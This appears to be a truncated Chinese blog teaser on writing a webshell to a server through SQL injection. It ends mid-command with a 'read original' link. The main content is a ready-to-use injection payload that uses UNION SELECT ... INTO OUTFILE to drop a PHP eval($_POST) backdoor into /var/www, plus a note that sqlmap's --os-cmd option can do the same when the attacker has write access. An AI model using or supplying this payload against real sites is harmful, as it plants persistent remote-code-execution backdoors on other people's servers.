利用SQL注入植入 webshell

這裏小結一下通過SQL注入寫入WebShell的方法。 傳統的SQL語句寫shell 通過SQL注入select into outfile實現，如： 1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'# sqlmap寫shell 前提都是需要對目標目錄具有寫權限。 --os-cmd="net

>>阅读原文<<